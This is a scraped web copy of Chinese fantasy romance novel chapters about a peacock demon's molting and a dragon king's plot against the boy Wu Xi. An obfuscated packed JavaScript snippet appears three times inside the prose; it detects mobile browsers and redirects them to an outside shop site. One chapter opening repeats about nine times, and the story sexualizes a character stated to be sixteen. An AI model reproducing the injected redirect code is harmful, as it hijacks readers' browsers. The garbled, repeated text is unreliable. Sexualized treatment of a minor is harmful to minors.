顶着孔宴秋期待的眼神,巫曦把金黄色的柔嫩鱼籽放进嘴巴,仔细嚼嚼。 苍天大地,我佛慈悲啊…… 巫曦哽咽地想。 “还蛮好吃的! 巫曦欢快地说。 孔宴秋松了一口气,放松地笑起来。为了不让他瞧出端倪,巫曦硬是独揽全山,把这碗蕴含了人生百味的长寿面全捞到自己的肚子里,热泪盈眶地吃完了它。 “做得太好了,巫曦放下空碗,含泪道,“下次不要再做了。 几天后,巫曦缓过劲来,决定还是由自己来洗刷厨房经受的折磨和耻辱,再加上也要帮他恢复剩下的感官,巫曦便给孔宴秋做了一桌家常菜。 虾鱼笋蕨汤,煨汁火腿荠,盐渍枸杞芽,一盆热腾腾、油汪汪的荷叶包乌米饭,一道清香味美的三脆羹,再加上奶油打发,蔗糖掺蜜的滴酥,一碟开着十字刀花的蜜煎金桔,可谓尽显司膳真传。 “怎么样!他得意地仰着头,“这才是我的真材实料呢。以前你吃的那些猪排羊汤,都是没条件,没工具的凑合产物,今天可见识了吧? 孔宴秋吃惊地望着眼前的丰盛菜肴,他总算见识到了,原来一个人的天赋是可以具象化到这种程度的。巫曦的年纪不大,可在做饭的本领上,已经是非常了不得的大厨了。 当天晚上,两人便将一桌菜吃得盘光碗净,孔宴秋的听觉和触觉接连恢复,听觉倒是还好,孔雀的叫声本就粗哑,可见他们不是精于歌唱的一族,但是触觉…… “你怎么这么软,还这么小?孔宴秋惊奇地抱着巫曦,不停地捏捏他,把他摆弄成各种形状,“你身上好热…… 巫曦:“…… “头发也软软的……孔雀把鼻子伸进巫曦的后脑 勺,在上面蹭来蹭去,再小心翼翼地掐一掐耳垂,“这里也…… “孔宴啾!巫曦暴跳起来,一手扯着他尖尖的耳朵,“你不要得寸进尺我告诉你! 以前巫曦扯他的耳朵,孔宴秋是没有任何感觉的,巫曦的指甲那么薄嫩,因此就连疼痛都感觉不到。眼下,他的触觉一经恢复,再被神人这样一揪,一双深金色的瞳孔顿时扩大了。 “你……巫曦迟疑地道,“你的耳朵怎么一下变得这么红?不许红了,听见了吗?不许再红了! 两个人打闹半天,临到睡觉时,巫曦心里仍是毛毛的。 孔宴秋看他的眼神,简直比当日他看毒龙还恐怖专注,就像盯着一块鲜香诱人的过油肉,恨不得时时抱着,拿嘴巴叨上几口。 最后,是孔宴秋赌咒发誓,“绝不在睡觉和梦游的时候咬你,巫曦才将信将疑,不跑出去分床睡。 可能这就是乐极生悲吧,孔宴秋五感恢复,还没过上几天正常人的日子,他的换羽期就提前到了。 临近三百六十岁的时候,孔雀都要经历第一次蜕骨换羽之痛。尽管他还差着点岁数,但前些日子饱食毒龙,近来又全然恢复了五感,双管齐下,两两相激,竟提早引发了这个要命的过程。 深夜里,孔宴秋从睡梦中惊醒,全身滚热,骨头酸疼得连翅膀都抬不起来。 巫曦同样醒了,一半是因为他的喘气声,另一半是因为盖在身上的羽翅,此刻正散发着一百个太阳的热量,硬生生把他给烤了起来。 “怎么了,你没事吧? “我觉得……孔宴秋嘶哑地道,“像是要换羽了…… 巫曦一愣,反应过来:“你有没有哪里难受,哪里疼? 孔宴秋慢慢地咬紧了牙齿。 他不会喊疼,比这疼痛千百倍的伤口,他都泰然自若地承受下来了,可这甚至不是那些明快敞亮的外伤痛,而是更加难捱,酸胀难耐的涩痛。譬如说,你能感觉到生长中的骨骼在相互摩擦,发出极其细微,只有你能听见的咯吱声,它们竞相拔节,缓慢而拥堵地挤开每一寸毫无防备的血肉。 “……我全身都难受。 他满头是汗,蜷缩在柔软的鸟巢里,不敢挪动翅膀和四肢,乃至身上的任何一根羽毛。哪怕是眨眼这样微小的动作,孔宴秋都能感受到眼球在经受一场火辣辣的摩擦。 巫曦手足无措,这一会儿,孔宴秋简直就是个燃烧的 大火炉,他上次高烧不退,都没有今天晚上来得凶险严重。 “怎么办,我不知道孔雀换羽要怎么处理啊?”他慌了神,“你等等,我去给你找冰水!” “别去……”孔宴秋微弱地喘气,“别去,蜕骨之苦,冰水不管用。” 于是巫曦又爬回来:“那咋整啊,你总不能这样熬一晚上吧?” 他转亮明珠,照见孔宴秋满脸赤红,胸口处原本苍白的皮肤俱是沸腾一片,巫曦一咬牙:“那……那我给你揉一下?” 换羽期的孔雀没有说话,巫曦用手轻轻地戳着他的锁骨,只感觉到他点了点头。 巫曦的手指尽可能轻缓地顺着脊椎伸下去,滑进他背后的覆羽。 这些黑色的小羽毛烫得像一小丛火,同时软而光滑,在他的指尖下颤颤。他不敢太粗暴,唯恐稍一用力,这些绒毛就会捏作四散的火星,碎成柔腻的羽粉。 然而,孔宴秋的羽毛似乎对他产生了一种奇怪的反应……它们就像有意志的活物一样,纷纷渴望地朝巫曦的手掌涌过去,在他的掌心挤挤蹭蹭,还蛮诡异的。 ……不过,也蛮可爱的。 孔宴秋深深吸气,仿佛要把巫曦顺着鼻子吸进身体里。 这比世上任何仙丹妙药都要灵验,他的双手有魔力,轻而易举地减缓了那些深埋在骨肉之下的痛苦,取而代之的,是令人心醉神迷的爱抚和热度。 他要死了。 巫曦的手指缓缓伸进后背,在那些水光柔滑的绒羽上画着圈,孔宴秋的翅膀就拱起来了,双肩也在止不住地打抖;当他的手指接近孔雀敏感的翅膀根部时,孔宴秋的脊梁骨就像软泥一样节节化开,整个人完全瘫软,平展地流淌在床榻之间。 他马上就要死了。 “感觉怎么样?”巫曦的鼻尖上沁出亮晶晶的汗珠,小声发问,“有没有好一点?” 好、好……好得不能再好,好得要命了…… 孔宴秋哆哆嗦嗦,只是说不出话,他的舌头好像也融化了,酥麻地贴在口腔上颚,一点儿也动弹不得。见他只是抖,巫曦便轻轻地摩挲起翅膀和脊背的关节衔接处。 孔宴秋的眼皮也开始一阵阵地痉挛。 一股可怕的激情正在他的胸口处形成浪潮,他锋利的脚爪蜷缩又舒张,急切地想踩住什么东西,或者紧紧地锁住什么东西。既然痛苦已经消退,有那么一会儿,占有的强欲,以及亟待攻击的狂躁冲动,完全占据了孔宴秋的心神。 ——他必须要保卫他的巢,还有巢中小小的神人。 附近的鸟雀太多了,危险的凶禽也太多了!他要驱逐他们,撕碎他们,用他们的鲜血和肢块来涂抹鸟巢外的领土,他还要展开辉煌的屏羽,在领地内摇曳往返,让神光一路映照到苍穹之上,使得千里之外的竞争者、觊觎者都畏惧地明白,孔雀的巢是不可进犯的!他要、他要……! 然而,当孔宴秋挣扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273829|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着从巢中翻转羽翼,撑起身体时,巫曦的指腹已经搓揉着滑进滚烫的羽绒深处,短而圆润的指甲,也悄悄地搔着那些最为痒痛的地方。 年轻孔雀的膝盖一软,直接跪在了床榻之间。 “哎呀,都这样了,就别想着乱动啦。”巫曦笑着说,他完全没有意识到,孔宴秋刚才的表现是想做什么,而自己又打断了一个什么样的进程。 神人的手接着向下,掌心细嫩,整个按住了孔雀的脊背,也按进那些板得铁硬的肌肉当中。他能感觉到,孔宴秋实在抖得厉害,丰厚的尾翎也簌簌乱颤。 他只当他是疼,于是顺着他的翅膀内侧向下按揉,用指头肚分开湿热的羽毛,用了点力气,在那些痉挛打结的肌肉上刮梳了几下。 “还难受吗?”巫曦担心地问, 他不敢坐在孔宴秋背上,怕压到了他,只能稍稍靠在旁边,努力斜着调动起两条胳膊的力量,是以这会儿实在累得够呛,说话都喘着气。 察觉到他的吃力,孔宴秋勉强偏过头,暗金的眼眸像含着一汪荡漾的灼热春水,随时都能颤巍巍地从眼窝里淌出来。 “你可以……”他断断续续地吐出热气,“你可以坐……” 坐,坐在哪儿? 孔宴秋的脑子早就短路了,只怕脑浆子也早沸成了一些粘稠的浆糊。他的嘴唇一动,差点将一句“坐在我脸上”脱口而出。 “……背上!”他满头满脸的汗,仓皇地把这两个字跳出舌头,“没事,坐在我背上,我没事……” 实际上,孔雀交尾的第一个步骤就是踩背,只是巫曦还一派天然,什么都不知道。因此孔宴秋这么一说,他也就跨开腿,往他肌肉虬结的背上这么一坐。 睡衣轻薄,浸湿了热汗,这下,孔宴秋的腿根失控地抽搐,是真的疼得有些受不住了。 “你翅膀上的骨头在咯吱咯吱地响欸,”巫曦惊奇地说,有些心疼,“我给你捏一捏?” 为了支撑身体的重量,鸟儿的骨骼确实是中空的,孔雀翅膀也不能例外。那些大片的飞羽摸起来像极了柔韧的丝绸,水波般光润,并且非常结实,巫曦的手指捏到骨头的时候,又能摸出它们轻盈 而坚不可摧,犹如青铜铸造,似乎风一吹过,它们就能奏响和声绮丽的乐章。 孔雀的翅膀直愣愣地翻转着,巫曦就用指腹搓揉每一寸紧绷的,嘎吱作响的骨骼,揉开那些紧张的关节。 他手上粘着淋漓的汗,眼睫毛上也尽是细碎的汗珠,按得专心致志,一丝不苟。 孔宴秋从不知道自己想要这个,需要这个,直到巫曦的手放在他身上。现在他已经非常确定了,没有巫曦,他就活不下去。 没有你,我该怎么办? 他转过侧脸,瞳仁涣散,神情恍惚,朦胧炽热的暗金色眼眸,眨也不眨地凝视着巫曦。透着热气的幻象,同时冲破混沌的头脑,降临在他眼前。 想要认领他。 应该标记他,将他永远地占为己有…… 是的,没错,就这样压住他的后背,用展开的尾翎盖着他的身体,他会噘嘴,会挣扎,可能还会掉眼泪,但是没关系,他是我的,除了我的手臂,他无处可去…… ……不,不!这不对,这是错误的想法,错误的念头! 犹如惊雷劈过他的头脑,孔宴秋一下僵住。 我到底在想什么?我刚才是真的想要伤害巫曦,甚至还有了付诸实践的念头吗? 巫曦:“?” 察觉到孔宴秋的肌肉再次硬得跟一块铁板一样,他没好气地拍拍孔雀屁股,大声道:“喂!再这么僵下去,你只会更疼的!” 孔宴秋的思绪本就混乱不堪,他这一巴掌,就像划过夜空的一道霹雳,彻底把他的脑子打得断弦了。 作者有话要说 【都来吃好果汁!(饭勺敲锅)(咣咣响)】 第 56 章 净琉璃之国(二十四) 第56章净琉璃之国(二十四) “孔宴秋。” 无人应答的沉默。 “孔宴秋,起床了。” 鸦雀无声的寂静。 “孔宴啾!不要装死!” 鸟窝里,蜷成一座山的被子动了动。 巫曦扑过去,试图将那团被子山扒出一个小缝。 “哇呀——”好容易撕开一角,巫曦立刻赶着钻进去,试图抓住一只逃避的孔雀。 将人三两下刨出来,但见孔宴秋的长发乱蓬蓬,苍白的面皮发红,一双凤眼也是水汪汪的,好一个羞窘不已的俊美少年郎……少年孔雀。 “干嘛?还躲起来,不见我。”巫曦噘着嘴,“骨头长得痛而已,我也有啊!难道是我把你揉疼了,弄得你不舒服了?” 孔宴秋的两瓣薄唇直哆嗦,却只能对着他干瞪眼,实在有苦说不出。 巫曦十六岁,生的一颗七窍玲珑水晶心,完满圆融得好像一颗光华琉璃,能照出世上一切幽微难言的不平事。可是坏也坏在这里,他太坦荡,太剔透,谁会把那些乱七八糟的东西教给他? 他还那么小,根本不知道我做了什么,又起了什么糟糕的心思…… 想到昨夜乱七八糟的巢床,被情 欲浸得湿透,最后叫他做贼般丢出去,一把火烧干净的羽衾,孔宴秋便感到如坐针毡的难耐。 他一面狠狠唾弃自己罪孽不堪的污秽念头,一面又为昨晚的事神魂颠倒,难以自拔,恨不得连骨头都酥软了,一股脑地化在巫曦身上。 ……想来雄鸟的劣性就在于此,他越是抗拒唾弃,“污秽罪孽”的醉人滋味,就越是在回忆里显得浓稠甘美,直勾得他面红耳赤,心如火烧。 够了!别再想了,换算成神人的年纪,他比我还要小三岁……不对,现在是小两岁了,苍天啊,神人怎么长得那么快,而我还要过十来年才算初成……不对!这些都不是重点,别再回想了! 孔宴秋的脑子都乱成了一锅粥,他仓皇地喘着气,打心眼儿里感到恐惧。 我怎么成了这么一个人……一个孔雀? 天地公道,后土明鉴,我珍爱他、呵护他,自始至终,他都是我的掌中珠,心头肉,我从没有起过要伤害他的心思。可现如今,我竟变成了这个样子!我满脑子都是、都是…… 思及此处,他的脑海里再度不受控制地闪过一幕幕虚妄炽热的画面—— 自己张开黑紫的手爪,强势地按下巫曦莹白如玉的后 背,接着抖开沉重炽热的尾翎,密密匝匝地盖着神人柔软的身躯,狠狠压住他、包裹住他…… 孔宴秋大叫一声,狠狠把头撞在鸟巢边缘的梧桐木上,瞬间撞碎了一大块木头下去,可惜,他坚硬的脑门还安然无恙。 巫曦吓了一大跳:“你这是干什么?! 他扑过去要看伤势,孔宴秋却十分畏惧,猛地往后一缩。 “不不不,不,他狼狈地摇着头,“我生病了,别碰我,当心传染了病气去…… 生病了?生的什么怪病,我怎么没闻出来? 巫曦狐疑地瞄着他:“我才不怕病呢,从小到大,我可是一次病都没生过!我们神人天生就是身强体健的。 顿了顿,他又补充道:“你不让我碰你,那再遇上骨头疼的事,你可怎么办呢? 巫曦眯起眼睛,今早他穿着一身淡绿的睡袍,像一只坏心眼儿的阴暗萝卜,贼溜溜地打量孔宴秋。 “嗯,要是你再骨头疼,我就不管你了? 孔宴秋的嘴唇动了动,眼中闪现出挣扎的神色。 “我不管你了,真不管你了?好吧,我不管你了,那这几天我们分床…… “不行!孔宴秋激动地大喊,从喉咙里迸出一声鸟叫,叫完了又觉得心虚,“可以帮我按,但是要、要……但是不能像昨晚那么按。 阴暗萝卜十分惊诧:“哟呵,你还挑三拣四上了!我想怎么按就怎么按,知道吗?快点起床,否则我就要把早饭拿到床上喂你吃了。 阴暗萝卜撂完狠话,施施然离去,却不知在他身后,孔宴秋抓心挠肝,像头饿疯的野兽般团团乱转,忍得牙齿都要咬碎了。他实在想把萝卜叶子全扯碎,然后把白生生的萝卜拿尾巴紧紧包起来,从上到下,从里到外,狠狠地狂舔一气,方能解了这焦渴,止住心头猛烈的瘙痒。 日子真是没法过了……! 孔宴秋脱力地倒在鸟巢里,有生以来第一次,他向上天诚挚地请愿,希望换羽期快点过去,别再折磨他的身心。 不幸中的万幸,他吃的毒龙不算多,龙血龙肉催熟的功效也不是太强。自打那天晚上疼过一次,后续的一周都相安无事,孔宴秋因此渐渐放下心来。 但出于对自身兽性的不信任,这一周来,他还是躲着巫曦,尽量不与神人独处一室。 看他躲躲闪闪的模样,巫曦只当他是不好意思。毕竟那天晚上,孔宴秋叫他揉得哼哼唧唧的,热汗像春泉一样直往外冒,差点把自己的鼻子都烤焦啦。这样算不得丢人, 可是实在折损男子气概的事,无怪乎他会闹别扭。 巫曦翘起鼻子,轻轻一哼。 这就是“有毒的男子气概的实例啊!为什么要替自己的脆弱感到羞愧呢?真是一只不成熟的大孔雀。 想通这点,巫曦也就不管孔宴秋这些天的逃避和躲藏了,他该干什么就干什么,没有受到半点儿影响。 不过,对于业摩宫的众妖来说,这可是件稀罕的事。正当有许多凶禽雀鸟在私底下暗暗揣测,这会不会是他俩闹掰的前兆时,他们很快就发现,不管巫曦去哪里,隔不了多远,那袭黑紫金的身影总会若隐若现地尾随其后。 ……不想待在一块,但还要跟着是吧,那没事了。 这天,巫曦走去偏殿的库房,打算挑几套棋,跟新来的侍从们下着玩儿。 “您来了,主管那里的亦是一只鬼车,“这点小事,怎能劳烦您亲自跑一趟? “反正闲着也是闲着啦。巫曦道,把对方恭敬递过来的棋盘抱在手上,“谢谢你! 巫曦来了不长不短的时间,足以让这里的八卦鸟雀把他的性格和爱好摸透。只是,就连他们自己都没想到,他们会如此喜欢这个年少的小神人。 不是因为业摩宫的主人看重他,视他为至宝,而是因为他坚定,友善,总是快乐,更做得一手好饭菜。他待人待事既坦诚率真,又充满包容的怜悯,似乎世上没有什么人,什么事,能在他饱满澄澈的心灵上留下印痕。 鸟兽会亲近干净无瑕的人,鸟妖和兽妖亦不例外。 鬼车向后看了看,没发现孔宴秋的影子,遂放下心来,安心地对巫曦笑道:“尊主没有跟您一块过来? 许多鸟雀都想和他亲近,可孔宴秋把人看得死紧,跟他说一句话,就跟要了黑孔雀的一块肉似的。不过,若是巫曦主动跟谁搭话,黑孔雀也只能幽怨地呷着一口醋,在后面干看着了。 “他也有自己的事要做呀,巫曦笑吟吟的,“我才不管他呢。 鬼车的九个头来回互看,不晓得这话底下还能带出什么意思,联想到近来孔宴秋行踪诡秘的模样,试探着道:“少年人心性不定,一时疏远也是有的,小殿下不必放在心上…… “啊?巫曦正在研究手里的兽棋玩法,闻言茫然抬头,“什么放在心上? “呃,卑职的意思是,尊主这些天…… “嗨,那个呀,巫曦浑不在意地挥挥手,“他总躲不了我一辈子,等他自己想明白,什么是‘有毒的男子气概’,我再狠狠地嘲笑他! ” 主管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273830|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼车:“……呃?” 他忽然感到一阵刺骨的寒意顺着脊梁往上攀爬。 鬼车仓皇抬头终于在视线里看到了姗姗来迟的黑孔雀此刻对方正阴森森地盯着他好像他再跟巫曦多说一句话就要打断他的舌头似的。 鬼车张了张嘴 ……算了你也自求多福罢!混账尊主。 · 同一时间地底毒龙之国。 今日正是俱时龙王的寿诞可这场寿诞不仅没有欢歌燕舞更无往来祝贺反倒沉寂得像是葬礼。龙骨修筑的大殿上俱时德叉伽盘踞宝座它的真身太过庞大平日只能以化形显露人前。 群龙汇聚数千头毒龙在下方静悄悄地缩着不敢说话更不敢吭气。 “……想我昔日是何等盛势”沉默太久老龙王缓缓开口吐出一股剧毒的气息“龙巢修建在万丈高山龙子龙孙遮天蔽日我的子嗣个个强壮狠毒、凶险狡诈。我唯一忧愁之事便是将来要传位于哪个孩儿……” 俱时龙王再也说不下去了它老泪纵横一爪横挥将面前的金盘悉数搡了一地里头鲜嫩的小儿心肝也湿淋淋地溅了一地。 “若是旧日的儿女还在我何至于此!”它厉声咆哮“金曜宫上那些老怪物也就罢了如今竟被一个降生不过三百年的小扁毛畜生欺压!我儿协罗葬身鸟腹不说更有上千小龙被他扑杀可恨啊太可恨!” 它身边的小毒龙动了动嘴讨好地笑出一嘴獠牙:“那毕竟不是凡胎孔雀而是金曜宫自己也怕得丢出来的孽种……” 它不提还好一提此事老龙王更是气得龙牙挫动发出山崩般的巨响。 它能在金曜宫孔雀嘴下保命至今靠的就是那份过度的谨慎。既不能在第一时间斩杀那头黑孔雀又无法确认金曜宫是否会下山支援一击不中最好的选择就是赶紧离开免得横生枝节。不料回到老巢着人悉心打探多方查证之后俱时德叉伽才确认了这个消息。 ——就连金曜宫也畏惧黑孔雀的异变和毒火早在刚出生时就将他丢下金曜大雪山势必不会再为他出头了。 早知如此还不如莽一把哪怕在光天化日之下费时缠斗也要将他就地格杀…… 它尚且怒火沸腾旁边的龙子赶忙进言:“父王息怒听说黑孔雀最为看重他身边的神人既然暂且奈何不了他不如……我们把他身边那个神人抓来吃了以解您心头之恨如何?” 提到“那个神人”,老龙王忽然静默下来,片刻后,毒龙的一双眼睛蓦地亮起。 “吃?不,不吃,不抓来吃……” “长留王族的少昊血脉最为浓郁,守生的天赋神通,让他们在大荒上平安无事了上万年,这样的好宝贝,我亦是眼馋许久,现下不正是天赐良机?长留王的一只小畜生居然流落大荒,还和金曜宫的孽种粘在一起,杀了我的孩儿,坏了我的寿诞……”俱时龙王若有所思地喃喃。 “——有什么方法,既能让我得到长留的一个王子,又能狠狠打击那个扁毛小畜生呢?” “我儿,你还未曾娶妻,是不是?” 老龙王诡秘地转过龙首,露出一个可怖的笑容,龇出山峰般硕大的层叠龙牙。 它慈爱地伸出爪子,抓挠着身边一条黑色毒龙的头顶:“为父就亲自出马,去到长留为你说合一门亲事,如何啊?” 作者有话要说 巫曦:*穿上绿叶子色的长袍,藏起双手,眯起眼睛*现在我是一根阴暗黄瓜了,一根阴暗黄瓜会干什么呢? 阴暗黄瓜:*开始在孔宴秋头上扭动,因为阴暗黄瓜很坏* 孔宴秋:*感觉阴暗黄瓜在自己身上来回翻滚,露出微笑,慢慢融化,因为这很好*嗯嗯…… 一旁围观的毒龙:*觉得自己也可以当一根黄瓜,想要狠狠打孔雀的头* 孔宴秋:*伸出手,抓住毒龙,一口咬掉它的头,开始咀嚼*嗯嗯。 第 57 章 净琉璃之国(二十五) 第57章净琉璃之国(二十五) 业摩宫内,孔宴秋终于老实认命了。 因为历经蜕骨之痛,辛辛苦苦地忍到第九天之后,孔雀的换羽季堂堂登场,正式到来。 第57章净琉璃之国(二十五) 业摩宫内,孔宴秋终于老实认命了。 因为历经蜕骨之痛,辛辛苦苦地忍到第九天之后,孔雀的换羽季堂堂登场,正式到来。 第57章净琉璃之国(二十五) 业摩宫内,孔宴秋终于老实认命了。 因为历经蜕骨之痛,辛辛苦苦地忍到第九天之后,孔雀的换羽季堂堂登场,正式到来。 第57章净琉璃之国(二十五) 业摩宫内,孔宴秋终于老实认命了。 因为历经蜕骨之痛,辛辛苦苦地忍到第九天之后,孔雀的换羽季堂堂登场,正式到来。 第57章净琉璃之国(二十五) 业摩宫内,孔宴秋终于老实认命了。 因为历经蜕骨之痛,辛辛苦苦地忍到第九天之后,孔雀的换羽季堂堂登场,正式到来。 第57章净琉璃之国(二十五) 业摩宫内,孔宴秋终于老实认命了。 因为历经蜕骨之痛,辛辛苦苦地忍到第九天之后,孔雀的换羽季堂堂登场,正式到来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273831|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第57章净琉璃之国(二十五) 业摩宫内,孔宴秋终于老实认命了。 因为历经蜕骨之痛,辛辛苦苦地忍到第九天之后,孔雀的换羽季堂堂登场,正式到来。 第57章净琉璃之国(二十五) 业摩宫内,孔宴秋终于老实认命了。 因为历经蜕骨之痛,辛辛苦苦地忍到第九天之后,孔雀的换羽季堂堂登场,正式到来。 第57章净琉璃之国(二十五) 业摩宫内,孔宴秋终于老实认命了。 因为历经蜕骨之痛,辛辛苦苦地忍到第九天之后,孔雀的换羽季堂堂登场,正式到来。 第 58 章 净琉璃之国(二十六) 第58章净琉璃之国(二十六) 同为男子,巫天汉非常了解他父亲的秉性。 正因为巫曦是他最爱女人的儿子,正因为他最爱的女人潇洒地抛下了他,头也不回地回到了自己的故国,他父亲才对巫曦抱有如此复杂的感情。 他恶待巫曦,希望如此一来,这样的事就能传进药师国,传到大巫祝的耳朵里,他妄想寄希望于母爱的引力,让那个女人为了巫曦重回到他身边;可是他又舍不得太过恶待巫曦,因为他不想事情真的到了无可挽回的地步——再加上巫曦那个小畜生又实在太讨人喜欢——所以每次只是半吊子的责罚,譬如痛骂,譬如冷眼,譬如漠然以对的无视。 世上的绝大多数人是看不到埋藏在深处的真相的,他们只知道,长留国的王上最厌憎他的小儿子,所以每每对其大加斥责,多番动怒。只有那些真正的聪明人,绝少部分的聪明人,方能领会这些浮于表面的怒火之下,含着多么九曲百折的心绪。 ——它昭告着一个男人,为君、为父、为夫的全面溃败。 长留王不承认这种溃败。 因此他握着传位的玺杖,时常一坐到天明。巫天汉知道,他在犹豫,他已经逐渐步入年老的阶段,然而,对于王位的人选,他仍然举棋不定,下不了决心。 自己继位的可能性固然是最大的,可是巫曦,他没心没肺,无忧无虑,似乎永远是阳光乐天派的异母弟弟,作为比他年长那么多的大兄,巫天汉居然在心中由衷地对他升起一种恐惧之情。 这个孩子不像人。 他更像是某种先天有灵的精怪,一类永远不会改变,不会污浊的自然现象。与他接触过一次的大臣,常年在宫廷中侍奉的,老成精明的官宦,还有六司局的司者,无论他们先前对巫曦抱着怎样的偏见和不屑,只要和他说一次话,待过一段时间,他们都会惊讶地认同一个道理: 巫曦王子实在是了不得的人物,他将来的前途,一定是不可限量的。 他有魔力……他有自己的一套道理,而且这套道理颠扑不破,稳稳地撑起了他内在的核心。 巫曦成天笑啊,跑啊,闹啊,他到哪里去,就在哪里激起一阵欢声笑语的快乐旋风,除了那些苦大仇深的老学究,没人不喜欢这样的小孩。 更要命的是,他不光会玩,他严肃起来,时常能一眼看破纷争的本质。他说着天真无忌的童言,三言两语便能准确地点出事情的真相,好像他胸膛里装的不是一颗人心,而是 一面镜子,一束透亮到诡异的光线,能明明白白地照出任何人心中的杂质与不堪。 巫天汉越是了解他,就越是感到害怕,那是人对无法理解的事物的害怕。很多个时日,巫天汉甚至会专门避开他,避开他的目光,他的审视。 ……这样的孩子,不尽早扼杀,倘若等他成长起来,又将是多么可怕的光景! 恐惧化作慌乱,慌乱过后,便是破釜沉舟的勇气。 又一次,在长留王斥责过巫曦,而他也闷闷不乐,准备去邻国散心的时候,巫天汉知道,他的机会到了。 没想到啊,真没想到。 实在人算不如天算,巫曦不仅没死,还傍上了更厉害的靠山!业摩宫黑孔雀凶名远扬,死在毒火中的神人妖兽不计其数,若是让巫曦回过味来,那自己岂不是…… 一时间,巫天汉又怕又气,他的手臂颤抖着,连解药都忘了讨要。 “明白了,大殿下?对面的龙人眯起眼睛,漆黑的脸上,露出一个瘆人的笑容,“我的话可不是危言耸听,你要早做打算啊。 龙人像一道诡秘的影子,曲折地接近他:“如今王储之位尚未定下,不如就听我们的,和我们合作。龙毒的威力,你也瞧见了,对不对?您的父王老糊涂了,可您还风华正茂,大好的年华,为什么就这样白白空掷呢? 巫天汉咬着牙齿,半晌,他冷笑一声:“你们这是教唆我弑君杀父…… “人不为己,天诛地灭!龙人诧异地道,“这难道不是一句至理名言吗?更何况,您残害手足,早就犯了大忌,要是巫曦带着那头黑孔雀回来,向他揭发您的罪行,您父王会怎么说?您又还能逃到哪去?到时候,您不妨想想您的全家吧! 龙人嘶哑地笑着,恶意地压低了声音:“只怕您还不知道罢?那头黑孔雀天生有异,最是暴虐残忍不过,真要让他动手,他一定会把您绑在立柱上,让您眼睁睁看着您那些如花似玉的妻妾,年幼的孩儿,是怎么惨呼连天,被五蕴阴火活生生地烧死的!当然了,您身为罪魁祸首,是最跑不掉的…… 巫天汉满头是汗,在龙人纯黑色的眼瞳里,他竟有如身临其境,当真看见了那幅火炎炼狱般的场景! 他惊恐地步步后退,哑声道:“够了!够了! 龙人定定地看着他。 “……你们到底想要什么?他嘶声发问,再也不敢看龙人的眼睛。 龙人微微一笑:“我们想要报复那头黑孔雀,我们也想要您的最小的兄弟,巫曦。 巫天 汉狐疑地抬起头。 “巫曦……?你们到底要巫曦干什么?” 龙人的笑容更盛,他的语气变得更害羞、矜持,仅仅说了一句话。 “老龙王的第二子,如今尚未娶亲。” 巫天汉更加呆愣,几乎傻在了原地。 “你们……”他疑心自己听错了,想岔了,“你们想让巫曦,嫁给毒龙王的二儿子?” 龙人缓缓点头。 “疯了吧……”巫天汉被荒谬地笑出了声,“你们可真能想,居然要长留的小王子嫁给……嫁给一头毒龙?!” 龙人的眼睛一动,表情立刻转为冰冷,它居高临下地道:“俱时龙王的血脉,难道还配不上神人小国的一个王子?大殿下,当心祸从口出啊。” 巫天汉畏惧地住了嘴,不知不觉间,他的怒火和盛气都在流逝,一个掌握不了主动权的人,不管他是不是身份尊贵的王子,都是不能在谈判中占据优势的。 “跟我们合作,解药给你,我们保你登上王位,更能铲除你的眼中钉,而你要做的,就是利用长留王的葬礼,把他叫回长留国,明白吗?” “叫回长留国……再交给你们?”巫天汉迟疑道,“就这么简单?” “对,就这么简单。”龙人咧嘴而笑,“届时,您已经是新的长留王了,王上要如何处决一个无足轻重的兄弟,还不是易如反掌的事么?” 它捏着锋利的两根指甲,将一颗龙胆样的东西丢给巫天汉。 “这就是一半的解药了,大殿下,等您想通,再来领另一半的吧!” 一如来时,龙人在笑声中重新化作流动的阴影,汇入宫墙的角落,消失不见。 巫天汉面色惨白,中衣湿透,他攥着那颗龙胆,全身一阵阵地打摆子,像是从水里捞出来的。 · “长出来了!”巫曦欢呼一声,“长得还挺快的嘛,就跟你说了不用担心……” 孔宴秋的尾巴上,更摇曳多姿,盈润饱满的饰羽已经长出了两根,不再是几天前的光秃秃样子了,想必用不了多久,新生的尾翎便会再度厚重地覆盖上来。 孔宴秋暗暗地松了口气,表面上不显,心里倒是高兴得很。 看着巫曦蠢蠢欲动的样子,他摇摇两根尾翎,巫曦果然上当,伸手要抓,他再一抽,巫曦扑了个空,反倒将他扑了个满怀。 “哎哟,”孔宴秋坏心眼地说,“要吃了我?” 巫曦的脑门正正撞进孔宴秋胸口,一时间怒从心头起,饿向胆边生,当真“啊呜”一口咬 下去。孔宴秋还得软化皮肤以免崩坏他的小门牙。 